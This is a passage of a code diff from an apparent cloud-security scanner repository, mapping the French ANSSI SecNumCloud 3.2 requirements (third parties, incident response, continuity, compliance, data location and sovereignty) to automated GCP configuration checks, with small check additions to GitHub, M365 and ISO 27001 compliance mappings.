"Comment": "a) Le prestataire doit exiger des tiers participant a la mise en oeuvre du service, dans leur contribution au service, un niveau de securite au moins equivalent a celui qu'il s'engage a maintenir dans sa propre politique de securite. Il doit le faire au travers d'exigences, adaptees a chaque tiers et a sa contribution au service, dans les cahiers des charges ou dans les clauses de securite des accords de partenariat. Le prestataire doit inclure ces exigences dans les contrats conclus avec les tiers. b) Le prestataire doit contractualiser, avec chacun des tiers participant a la mise en oeuvre du service, des clauses d'audit permettant a un organisme de qualification de verifier que ces tiers respectent les exigences du present referentiel. c) Le prestataire doit definir et attribuer les roles et les responsabilites relatives a la modification ou a la fin du contrat le liant a un tiers participant a la mise en oeuvre du service." + } + ], + "Checks": [] + }, + { + "Id": "15.3", + "Description": "Le prestataire doit surveiller, revoir et auditer a intervalles reguliers la prestation des services des tiers.", + "Name": "Surveillance et revue des services des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de controler regulierement les mesures mises en place par les tiers participant a la mise en oeuvre du service pour respecter les exigences du present referentiel, conformement au chapitre 18.3." + } + ], + "Checks": [] + }, + { + "Id": "15.4", + "Description": "Les changements dans les services des tiers, incluant le maintien et l'amelioration des politiques, procedures et mesures existantes de securite de l'information, doivent etre geres.", + "Name": "Gestion des changements apportes dans les services des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de suivi des changements apportes par les tiers participant a la mise en oeuvre du service susceptibles d'affecter le niveau de securite du systeme d'information du service. b) Dans la mesure ou un changement de tiers participant a la mise en oeuvre du service affecte le niveau de securite du service, le prestataire doit en informer l'ensemble des commanditaires sans delais conformement au chapitre 12.2 et mettre en oeuvre les mesures permettant de retablir le niveau de securite precedent." + } + ], + "Checks": [] + }, + { + "Id": "15.5", + "Description": "Les personnes intervenant dans le cadre du service cloud doivent etre soumises a des engagements de confidentialite.", + "Name": "Engagements de confidentialite", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de reviser au moins annuellement les exigences en matiere d'engagements de confidentialite ou de non-divulgation vis-a-vis des tiers participant a la mise en oeuvre du service." + } + ], + "Checks": [] + }, + { + "Id": "16.1", + "Description": "Des responsabilites et des procedures de gestion doivent etre etablies pour garantir une reponse rapide, efficace et ordonnee aux incidents lies a la securite de l'information.", + "Name": "Responsabilites et procedures", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'apporter des reponses rapides et efficaces aux incidents de securite. Ces procedures doivent definir les moyens et delais de communication des incidents de securite a l'ensemble des commanditaires concernes ainsi que le niveau de confidentialite exige pour cette communication. b) Le prestataire doit informer ses employes et l'ensemble des tiers participant a la mise en oeuvre du service de cette procedure. c) Le prestataire doit documenter toute violation de donnees a caractere personnel et en informer son commanditaire. La violation doit etre notifiee a la CNIL si elle presente un risque pour les droits et libertes des personnes concernees. Elle doit faire l'objet d'une information aupres des personnes concernees lorsque le risque pour leur vie privee est eleve." + } + ], + "Checks": [] + }, + { + "Id": "16.2", + "Description": "Les evenements lies a la securite de l'information doivent etre signales dans les meilleurs delais par les voies hierarchiques appropriees. Des mecanismes de detection et de notification automatises doivent etre mis en oeuvre.", + "Name": "Signalements lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "iam", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure exigeant de ses employes et des tiers participant a la mise en oeuvre du service qu'ils lui rendent compte de tout incident de securite, avere ou suspecte ainsi que de toute faille de securite. b) Le prestataire doit documenter et mettre en oeuvre une procedure permettant a l'ensemble des commanditaires de signaler tout incident de securite, avere ou suspecte et toute faille de securite. c) Le prestataire doit communiquer sans delai aux commanditaires les incidents de securite et les preconisations associees pour en limiter les impacts. Il doit permettre au commanditaire de choisir les niveaux de gravite des incidents pour lesquels il souhaite etre informe. d) Le prestataire doit communiquer les incidents de securite aux autorites competentes conformement aux exigences legales et reglementaires en vigueur." + } + ], + "Checks": [ + "iam_organization_essential_contacts_configured" + ] + }, + { + "Id": "16.3", + "Description": "Les evenements lies a la securite de l'information doivent etre apprecies et il doit etre decide s'il est necessaire de les classer comme incidents lies a la securite de l'information.", + "Name": "Appreciation des evenements et prise de decision", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "guardduty", + "Type": "Manual", + "Comment": "a) Le prestataire doit apprecier les evenements lies a la securite de l'information et decider s'il faut les qualifier en incidents de securite. Pour l'appreciation, il doit s'appuyer sur une ou plusieurs echelles (estimation, evaluation, etc.) partagees avec le commanditaire. Note : Les incidents de securite incluent les violations de donnees a caractere personnel. b) Le prestataire doit utiliser une classification permettant d'identifier clairement les incidents de securite touchant des donnees relatives aux commanditaires, conformement aux resultats de l'appreciation des risques. Cette classification doit inclure les violations de donnees a caractere personnel." + } + ], + "Checks": [] + }, + { + "Id": "16.4", + "Description": "Les incidents lies a la securite de l'information doivent etre traites conformement aux procedures documentees.", + "Name": "Reponse aux incidents lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit traiter les incidents de securite jusqu'a leur resolution et doit informer les commanditaires conformement aux procedures." + } + ], + "Checks": [] + }, + { + "Id": "16.5", + "Description": "Les connaissances acquises lors de l'analyse et du traitement des incidents lies a la securite de l'information doivent etre exploitees pour reduire la probabilite ou l'impact d'incidents futurs.", + "Name": "Tirer des enseignements des incidents lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus d'amelioration continue afin de diminuer l'occurrence et l'impact de types d'incidents de securite deja traites." + } + ], + "Checks": [] + }, + { + "Id": "16.6", + "Description": "Le prestataire doit definir et appliquer des procedures pour l'identification, le recueil, l'acquisition et la preservation de preuves. Les journaux d'audit doivent etre proteges et valides.", + "Name": "Recueil de preuves", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "iam", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'enregistrer les informations relatives aux incidents de securite et pouvant servir d'elements de preuve." + } + ], + "Checks": [ + "iam_audit_logs_enabled", + "cloudstorage_bucket_log_retention_policy_lock" + ] + }, + { + "Id": "17.1", + "Description": "Le prestataire doit determiner ses exigences en matiere de securite de l'information et de continuite du management de la securite de l'information dans des situations defavorables, par exemple lors d'une crise ou d'un sinistre.", + "Name": "Organisation de la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre oeuvre un plan de continuite d'activite prenant en compte la securite de l'information. b) Le prestataire doit reviser annuellement le plan de continuite d'activite du service et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "17.2", + "Description": "Le prestataire doit etablir, documenter, mettre en oeuvre et maintenir des processus, des procedures et des mesures de controle pour assurer le niveau requis de continuite de la securite de l'information au cours d'une situation defavorable. Les services doivent etre deployes en multi-AZ.", + "Name": "Mise en oeuvre de la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "compute", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des procedures permettant de maintenir ou de restaurer l'exploitation du service et d'assurer la disponibilite des informations au niveau et dans les delais pour lesquels le prestataire s'est engage vis-a-vis du commanditaire dans la convention de service." + } + ], + "Checks": [ + "compute_instance_group_multiple_zones", + "compute_instance_group_autohealing_enabled", + "compute_instance_automatic_restart_enabled", + "compute_instance_on_host_maintenance_migrate" + ] + }, + { + "Id": "17.3", + "Description": "Le prestataire doit verifier a intervalles reguliers les mesures de continuite de la securite de l'information mises en oeuvre afin de s'assurer qu'elles sont valables et efficaces dans des situations defavorables.", + "Name": "Verifier, revoir et evaluer la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester le plan de continuite d'activites afin de s'assurer qu'il est pertinent et efficace en situation de crise." + } + ], + "Checks": [] + }, + { + "Id": "17.4", + "Description": "Les moyens de traitement de l'information doivent etre mis en oeuvre avec suffisamment de redondance pour repondre aux exigences de disponibilite. Les mecanismes de protection contre la suppression accidentelle doivent etre actives.", + "Name": "Disponibilite des moyens de traitement de l'information", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "compute", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures qui lui permettent de repondre au besoin de disponibilite du service defini dans la convention de service (voir chapitre 19.1)." + } + ], + "Checks": [ + "compute_instance_group_multiple_zones", + "compute_instance_deletion_protection_enabled", + "compute_instance_group_autohealing_enabled", + "compute_instance_disk_auto_delete_disabled" + ] + }, + { + "Id": "17.5", + "Description": "La configuration de l'infrastructure technique du service cloud doit etre sauvegardee regulierement afin de permettre sa restauration en cas de sinistre.", + "Name": "Sauvegarde de la configuration de l'infrastructure technique", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "cloudsql", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de sauvegarde hors-ligne de la configuration de l'infrastructure technique." + } + ], + "Checks": [ + "cloudsql_instance_automated_backups", + "iam_cloud_asset_inventory_enabled" + ] + }, + { + "Id": "17.6", + "Description": "Le prestataire doit mettre a disposition du commanditaire un dispositif de sauvegarde de ses donnees, permettant la restauration en cas de sinistre.", + "Name": "Mise a disposition d'un dispositif de sauvegarde des donnees du commanditaire", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "cloudsql", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre a disposition du commanditaire un service de sauvegarde de ses donnees." + } + ], + "Checks": [ + "cloudsql_instance_automated_backups", + "cloudstorage_bucket_versioning_enabled", + "cloudstorage_bucket_soft_delete_enabled" + ] + }, + { + "Id": "18.1", + "Description": "Toutes les exigences legales, reglementaires et contractuelles en vigueur, ainsi que l'approche du prestataire pour satisfaire ces exigences, doivent etre explicitement definies, documentees et tenues a jour pour chaque systeme d'information et pour le prestataire.", + "Name": "Identification de la legislation et des exigences contractuelles applicables", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les exigences legales, reglementaires et contractuelles en vigueur applicables au service. En France, le prestataire doit considerer au minimum les textes suivants : les donnees a caractere personnel [LOI_IL], [RGPD] ; le secret professionnel [CP_ART_226_13], le cas echeant sans prejudice de l'application de l'article 40 alinea 2 du Code de procedure penale relatif au signalement a une autorite judiciaire ; l'abus de confiance [CP_ART_314-1] ; le secret des correspondances privees [CP_ART_226-15] ; l'atteinte a la vie privee [CP_ART_226-1] ; l'acces ou le maintien frauduleux a un systeme d'information [CP_ART_323-1]. b) Le prestataire doit, selon son role dans les traitements de donnees a caractere personnel (responsable de traitement, sous-traitant ou co-responsable) justifier et documenter les choix de mesures techniques et organisationnelles realises en vue de repondre aux exigences de protection des donnees a caractere personnel du present referentiel (voir partie 19.5). c) Le prestataire doit documenter et mettre en oeuvre les procedures permettant de respecter les exigences legales, reglementaires et contractuelles en vigueur applicables au service, ainsi que les besoins de securite specifiques (voir exigence 8.3b)). d) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible l'ensemble de ces procedures. e) Le prestataire doit documenter et mettre en oeuvre un processus de veille actif des exigences legales, reglementaires et contractuelles en vigueur applicables au service." + } + ], + "Checks": [] + }, + { + "Id": "18.2", + "Description": "L'approche du prestataire vis-a-vis de la gestion de la securite de l'information et sa mise en oeuvre (c'est-a-dire les objectifs de controle, les mesures, les politiques, les procedures et les processus relatifs a la securite de l'information) doivent etre revues de maniere independante a intervalles definis ou en cas de changement significatif.", + "Name": "Revue independante de la securite de l'information", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un programme d'audit sur trois ans definissant le perimetre et la frequence des audits en accord avec la gestion du changement, les politiques, et les resultats de l'appreciation des risques. Le prestataire doit inclure dans le programme d'audit un audit qualifie par an realise par un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie. L'ensemble du programme d'audit doit notamment couvrir : l'audit de la configuration de l'infrastructure technique du service (par echantillonnage et doit inclure tous types d'equipements et de serveurs presents dans le systeme d'information du service) ; le test d'intrusion des interfaces d'administration exposees sur un reseau public ; le test d'intrusion de l'interface utilisateur pour les services SaaS ; si le service beneficie de developpements internes, l'audit de code source portant sur les fonctionnalites de securite implementees (l'approche en continue doit etre privilegiee). b) Il est recommande que le prestataire mette en oeuvre des mecanismes automatises d'audit de la configuration adaptes a l'infrastructure technique du service." + } + ], + "Checks": [] + }, + { + "Id": "18.3", + "Description": "Les responsables doivent regulierement s'assurer de la conformite du traitement de l'information et des procedures au sein de leur domaine de responsabilite, au regard des politiques et des normes de securite.", + "Name": "Conformite avec les politiques et les normes de securite", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "iam", + "Type": "Partially Automated", + "Comment": "a) Le prestataire via le responsable de la securite de l'information doit s'assurer regulierement de l'execution correcte de l'ensemble des procedures de securite placees sous sa responsabilite en vue de garantir leur conformite avec les politiques et normes de securite." + } + ], + "Checks": [ + "iam_cloud_asset_inventory_enabled", + "iam_audit_logs_enabled" + ] + }, + { + "Id": "18.4", + "Description": "Les systemes d'information doivent etre examines regulierement quant a leur conformite avec les politiques et les normes de securite de l'information du prestataire.", + "Name": "Examen de la conformite technique", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "artifacts", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique permettant de verifier la conformite technique du service aux exigences du present referentiel. Cette politique doit definir les objectifs, methodes, frequences, resultats attendus et mesures correctrices." + } + ], + "Checks": [ + "artifacts_container_analysis_enabled", + "gcr_container_scanning_enabled" + ] + }, + { + "Id": "19.1", + "Description": "Le prestataire doit etablir une convention de service avec le commanditaire definissant les engagements de niveau de service, les responsabilites et les conditions d'utilisation du service cloud.", + "Name": "Convention de service", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit etablir une convention de service avec chacun des commanditaires du service. Toute modification de la convention de service doit etre soumise a acceptation du commanditaire. b) Le prestataire doit identifier dans la convention de service : les obligations, droits et responsabilites de chacune des parties : prestataire et tiers impliques dans la fourniture du service, commanditaires, etc. ; les elements explicitement exclus des responsabilites du prestataire dans la limite de ce que prevoient les exigences legales et reglementaires en vigueur, notamment l'article 28 du [RGPD] ; la localisation du service. La localisation du support doit etre precisee lorsqu'il est realise depuis un Etat hors l'Union Europeenne, comme le permet l'exigence 19.2.e. c) Le prestataire doit proposer une convention de service appliquant le droit d'un Etat membre de l'Union Europeenne. Le droit applicable doit etre identifie dans la convention de service. d) La convention de service doit indiquer que la collecte, la manipulation, le stockage, et plus generalement le traitement des donnees faits dans le cadre de l'avant-vente, de la mise en oeuvre, de la maintenance et l'arret du service sont realises conformement aux exigences edictees par la legislation en vigueur. e) La convention de service doit indiquer que le prestataire doit mettre a la disposition du commanditaire, sur demande de celui-ci, les elements d'appreciation des risques lies a la soumission des donnees du commanditaire au droit d'un etat non-membre de l'Union Europeenne (voir 5.3.e). f) Le prestataire doit decrire dans la convention de service les moyens techniques et organisationnels qu'il met en oeuvre pour assurer le respect du droit applicable. g) Le prestataire doit inclure dans la convention de service une clause de revision de la convention prevoyant notamment une resiliation sans penalite pour le commanditaire en cas de perte de la qualification octroyee au service. h) Le prestataire doit inclure dans la convention de service une clause de reversibilite permettant au commanditaire de recuperer l'ensemble de ses donnees (fournies directement par le commanditaire ou produites dans le cadre du service a partir des donnees ou des actions du commanditaire). i) Le prestataire doit assurer cette reversibilite via l'une des modalites techniques suivantes : la mise a disposition de fichiers suivant un ou plusieurs formats documentes et exploitables en dehors du service fourni par le prestataire ; la mise en place d'interfaces techniques permettant l'acces aux donnees suivant un schema documente et exploitable (API, format pivot, etc.). Les modalites techniques de la reversibilite figurent dans la convention de service. j) Le prestataire doit indiquer dans la convention de service le niveau de disponibilite du service. k) Le prestataire doit indiquer dans la convention de service qu'il ne peut disposer des donnees transmises et generees par le commanditaire, leur disposition etant reservee au commanditaire. l) Le prestataire doit indiquer dans la convention de service qu'il ne divulgue aucune information relative a la prestation a des tiers, sauf autorisation formelle et ecrite du commanditaire. m) Le prestataire doit indiquer dans la convention de service si les donnees du commanditaire sont automatiquement sauvegardees ou non. Dans la negative, le prestataire doit sensibiliser le commanditaire aux risques encourus et clairement indiquer les operations a mener par le commanditaire pour que ses donnees soient sauvegardees. n) Le prestataire doit indiquer dans la convention de service s'il autorise l'acces distant pour des actions d'administration ou de support au systeme d'information du service. o) Le prestataire doit preciser dans la convention de service que : le service est qualifie et inclure l'attestation de qualification ; le commanditaire peut deposer une reclamation relative au service qualifie aupres de l'ANSSI ; le commanditaire autorise l'ANSSI et l'organisme de qualification a auditer le service et son systeme d'information du service afin de verifier qu'ils respectent les exigences du present referentiel. p) Le prestataire doit preciser dans la convention de service que le commanditaire autorise, conformement au present referentiel (voir chapitre 18.2, un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie mandate par le prestataire a auditer le service et son systeme d'information dans le cadre du plan de controle. q) Le prestataire doit preciser dans la convention de service qu'il s'engage a mettre a disposition toutes les informations necessaires a la realisation d'audits de conformite aux dispositions de l'article 28 du [RGPD], menes par le commanditaire ou un tiers mandate. r) Il est recommande que le tiers mandate pour les audits soit un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie." + } + ], + "Checks": [] + }, + { + "Id": "19.2", + "Description": "Les donnees du commanditaire doivent etre stockees et traitees dans des centres de donnees situes sur le territoire de l'Union europeenne. Les politiques de restriction de region doivent etre appliquees.", + "Name": "Localisation des donnees", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "organizations", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et communiquer au commanditaire la localisation du stockage et du traitement des donnees de ce dernier. b) Le prestataire doit stocker et traiter les donnees du commanditaire au sein de l'Union Europeenne. c) Les operations d'administration et de supervision du service doivent etre realisees depuis le territoire de l'Union Europeenne. d) Le prestataire doit stocker et traiter les donnees techniques (identites des beneficiaires et des administrateurs de l'infrastructure technique, donnees manipulees par le Software Defined Network, journaux de l'infrastructure technique, annuaire, certificats, configuration des acces, etc.) au sein de l'Union Europeenne. e) Le prestataire peut realiser des operations de support aux commanditaires depuis un Etat hors de l'Union Europeenne. Il doit documenter la liste des operations qui peuvent etre effectuees par le support au commanditaire depuis un Etat hors de l'Union Europeenne, et les mecanismes permettant d'en assurer le controle d'acces et la supervision depuis l'Union Europeenne." + } + ], + "Checks": [] + }, + { + "Id": "19.3", + "Description": "Les services cloud qualifies SecNumCloud doivent etre operes depuis le territoire de l'Union europeenne.", + "Name": "Regionalisation", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit s'assurer que les interfaces du service accessibles au commanditaire soient au moins disponibles en langue francaise. b) Le prestataire doit fournir un support de premier niveau en langue francaise." + } + ], + "Checks": [] + }, + { + "Id": "19.4", + "Description": "Le prestataire doit definir les conditions de fin de contrat, incluant les modalites de restitution et de suppression des donnees du commanditaire.", + "Name": "Fin de contrat", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) A la fin du contrat liant le prestataire et le commanditaire, que le contrat soit arrive a son terme ou pour toute autre cause, le prestataire doit assurer un effacement securise de l'integralite des donnees du commanditaire. Cet effacement doit faire l'objet d'un preavis formel au commanditaire de la part du prestataire respectant un delai de vingt et un jours calendaires. L'effacement peut etre realise suivant l'une des methodes suivantes, et ce dans un delai precise dans la convention de service : effacement par reecriture complete de tout support ayant heberge ces donnees ; effacement des cles utilisees pour le chiffrement des espaces de stockage du commanditaire decrit au chapitre 10.1 ; recyclage securise, dans les conditions enoncees au chapitre 11.9. b) A la fin du contrat, le prestataire doit supprimer les donnees techniques relatives au commanditaire (annuaire, certificats, configuration des acces, etc.)." + } + ], + "Checks": [] + }, + { + "Id": "19.5", + "Description": "Le prestataire doit mettre en oeuvre des mesures techniques et organisationnelles appropriees pour garantir la protection des donnees a caractere personnel conformement a la reglementation en vigueur.", + "Name": "Protection des donnees a caractere personnel", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit justifier du respect des principes de protection des donnees pour les traitements de donnees a caractere personnel mis en oeuvre pour son propre compte. Il doit justifier au minimum les points suivants : les finalites des traitements determinees, explicites et legitimes ; la tracabilite des activites de traitement pour son compte et celui de son commanditaire ; le fondement licite des traitements ; l'interdiction du detournement de finalite des traitements ; les donnees utilisees respectent le principe du minimum necessaire et suffisant pour les traitements ; ainsi sont adequates, pertinentes et limitees ; la qualite des donnees utilisees pour les traitements maintenue : donnees exactes et tenues a jour ; les durees de conservation definies et limitees. b) Le prestataire doit justifier, pour les traitements de donnees a caractere personnel mis en oeuvre pour son propre compte, du respect des droits des personnes concernees. Il doit justifier au minimum les points suivants : l'information des usagers via un traitement loyal et transparent ; le recueil du consentement des usagers : expres, demontrable et retirable ; la possibilite pour les usagers d'exercer les droits d'acces, de rectification et d'effacement ; la possibilite pour les usagers d'exercer les droits de limitation du traitement, de portabilite et d'opposition. c) Lorsqu'il agit en qualite de sous-traitant au sens de l'article 28 de [RGPD], le prestataire doit apporter assistance et conseil au commanditaire en l'informant si une instruction de ce dernier constitue une violation des regles de protection des donnees." + } + ], + "Checks": [] + }, + { + "Id": "19.6", + "Description": "Le prestataire doit mettre en oeuvre des mesures de protection vis-a-vis du droit extra-europeen, afin de garantir que les donnees du commanditaire ne puissent etre soumises a des legislations extra-europeennes.", + "Name": "Protection vis-a-vis du droit extra-europeen", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le siege statutaire, administration centrale et principal etablissement du prestataire doivent etre etablis au sein d'un Etat membre de l'Union Europeenne. b) Le capital social et les droits de vote dans la societe du prestataire ne doivent pas etre, directement ou indirectement : individuellement detenus a plus de 24% ; et collectivement detenus a plus de 39% ; par des entites tierces possedant leur siege statutaire, administration centrale ou principal etablissement au sein d'un Etat non membre de l'Union europeenne. Ces entites tierces susmentionnees ne peuvent pas individuellement ou collectivement : en vertu d'un contrat ou de clauses statutaires, disposer d'un droit de veto ; en vertu d'un contrat ou de clauses statutaires, designer la majorite des membres des organes d'administration, de direction ou de surveillance du prestataire. c) En cas de recours par le prestataire, dans le cadre des services fournis au commanditaire, aux services d'une societe tierce - y compris un sous-traitant - possedant son siege statutaire, administration centrale ou principal etablissement au sein d'un Etat non membre de l'Union Europeenne ou appartenant ou etant controlee par une societe tierce domiciliee en dehors l'Union Europeenne, cette susdite societe tierce ne doit pas avoir la possibilite technique d'obtenir les donnees operees au travers du service. d) Dans le cadre de l'exigence 19.6.c, toute societe tierce a laquelle le prestataire recourt pour fournir tout ou partie du service rendu au commanditaire, doit garantir au prestataire une autonomie d'exploitation continue dans la fourniture des services d'informatique en nuage qu'il opere ou doit etre qualifie SecNumCloud. e) Le service fourni par le prestataire doit respecter la legislation en vigueur en matiere de droits fondamentaux et les valeurs de l'Union relatives au respect de la dignite humaine, a la liberte, a l'egalite, a la democratie et a l'Etat de droit. f) Le prestataire doit informer formellement le commanditaire, et dans un delai d'un mois, de tout changement juridique, organisationnel ou technique pouvant avoir un impact sur la conformite de la prestation aux exigences du chapitre 19.6." + } + ], + "Checks": [] + } + ] +} diff --git a/prowler/compliance/github/cis_1.0_github.json b/prowler/compliance/github/cis_1.0_github.json index e675470169..e9dbccc7f6 100644 --- a/prowler/compliance/github/cis_1.0_github.json +++ b/prowler/compliance/github/cis_1.0_github.json @@ -499,7 +499,9 @@ { "Id": "1.2.3", "Description": "Ensure only a limited number of trusted users can delete repositories.", - "Checks": [], + "Checks": [ + "organization_repository_deletion_limited" + ], "Attributes": [ { "Section": "1 Source Code", diff --git a/prowler/compliance/m365/cis_6.0_m365.json b/prowler/compliance/m365/cis_6.0_m365.json index 2e6d61f9b0..641159443a 100644 --- a/prowler/compliance/m365/cis_6.0_m365.json +++ b/prowler/compliance/m365/cis_6.0_m365.json @@ -1606,7 +1606,9 @@ { "Id": "5.2.2.12", "Description": "The Microsoft identity platform supports the device authorization grant, which allows users to sign in to input-constrained devices such as a smart TV, IoT device, or a printer. Ensure the device code sign-in flow is blocked.", - "Checks": [], + "Checks": [ + "entra_conditional_access_policy_device_code_flow_blocked" + ], "Attributes": [ { "Section": "5 Microsoft Entra admin center", diff --git a/prowler/compliance/m365/iso27001_2022_m365.json b/prowler/compliance/m365/iso27001_2022_m365.json index aaf5451f30..f14e56b77f 100644 --- a/prowler/compliance/m365/iso27001_2022_m365.json +++ b/prowler/compliance/m365/iso27001_2022_m365.json @@ -243,6 +243,7 @@ "entra_break_glass_account_fido2_security_key_registered", "entra_default_app_management_policy_enabled", "entra_all_apps_conditional_access_coverage", + "entra_conditional_access_policy_device_code_flow_blocked", "entra_legacy_authentication_blocked", "entra_managed_device_required_for_authentication", "entra_seamless_sso_disabled", @@ -464,6 +465,7 @@ "defender_malware_policy_common_attachments_filter_enabled", "defender_malware_policy_comprehensive_attachments_filter_applied", "defender_malware_policy_notifications_internal_users_malware_enabled", + "entra_conditional_access_policy_device_code_flow_blocked", "entra_identity_protection_sign_in_risk_enabled", "entra_identity_protection_user_risk_enabled", "entra_legacy_authentication_blocked", @@ -694,8 +696,9 @@ "entra_admin_users_mfa_enabled", "entra_admin_users_sign_in_frequency_enabled", "entra_all_apps_conditional_access_coverage", - "entra_conditional_access_policy_approved_client_app_required_for_mobile", "entra_break_glass_account_fido2_security_key_registered", + "entra_conditional_access_policy_approved_client_app_required_for_mobile", + "entra_conditional_access_policy_device_code_flow_blocked", "entra_identity_protection_sign_in_risk_enabled", "entra_managed_device_required_for_authentication", "entra_seamless_sso_disabled", diff --git a/prowler/compliance/oraclecloud/secnumcloud_3.2_oraclecloud.json b/prowler/compliance/oraclecloud/secnumcloud_3.2_oraclecloud.json new file mode 100644 index 0000000000..d3c52f21ba --- /dev/null +++ b/prowler/compliance/oraclecloud/secnumcloud_3.2_oraclecloud.json @@ -0,0 +1,1433 @@ +{ + "Framework": "SecNumCloud", + "Name": "SecNumCloud Referentiel d'Exigences v3.2", + "Version": "3.2", + "Provider": "OracleCloud", + "Description": "The SecNumCloud framework is published by ANSSI (Agence Nationale de la Securite des Systemes d'Information) to qualify cloud service providers operating in France. Version 3.2, dated March 8, 2022, covers IaaS, CaaS, PaaS, and SaaS services with requirements spanning information security policies, access control, cryptography, physical security, operational security, communications security, and data sovereignty protections against extra-European law.", + "Requirements": [ + { + "Id": "5.1", + "Description": "Le prestataire doit definir et appliquer des principes de securite de l'information adaptes a ses activites de fourniture de services cloud.", + "Name": "Principes", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit operer la prestation a l'etat de l'art pour le type d'activite retenu : utiliser des logiciels stables beneficiant d'un suivi des correctifs de securite et parametres de facon a obtenir un niveau de securite optimal. b) Le prestataire doit appliquer le guide d'hygiene informatique de l'ANSSI [HYGIENE], niveau renforce, au systeme d'information du service." + } + ], + "Checks": [] + }, + { + "Id": "5.2", + "Description": "Le prestataire doit definir, faire approuver par la direction, publier et communiquer aux salaries et aux tiers concernes un ensemble de politiques de securite de l'information.", + "Name": "Politique de securite de l'information", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de securite de l'information relative au service. b) La politique de securite de l'information doit identifier les engagements du prestataire quant au respect de la legislation et reglementation nationale en vigueur selon la nature des informations qui pourraient etre confiees par le commanditaire au prestataire ; il revient en revanche in fine au commanditaire de s'assurer du respect des contraintes legales et reglementaires applicables aux donnees qu'il confie effectivement au prestataire. c) La politique de securite de l'information doit notamment couvrir les themes abordes aux chapitres 6 a 19 du present referentiel. d) La direction du prestataire doit approuver formellement la politique de securite de l'information. e) Le prestataire doit reviser annuellement la politique de securite de l'information et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "5.3", + "Description": "Le prestataire doit definir et appliquer un processus d'appreciation des risques de securite de l'information.", + "Name": "Appreciation des risques", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter une appreciation des risques couvrant l'ensemble du perimetre du service. b) Le prestataire doit realiser son appreciation de risques en utilisant une methode documentee garantissant la reproductibilite et comparabilite de la demarche. c) Le prestataire doit prendre en compte dans l'appreciation des risques : la gestion d'informations du commanditaire ayant des besoins de securite differents ; les risques ayant des impacts sur les droits et libertes des personnes concernees en cas d'acces non autorise, de modification non desiree et de disparition de donnees a caractere personnel ; les risques de defaillance des mecanismes de cloisonnement des ressources de l'infrastructure technique 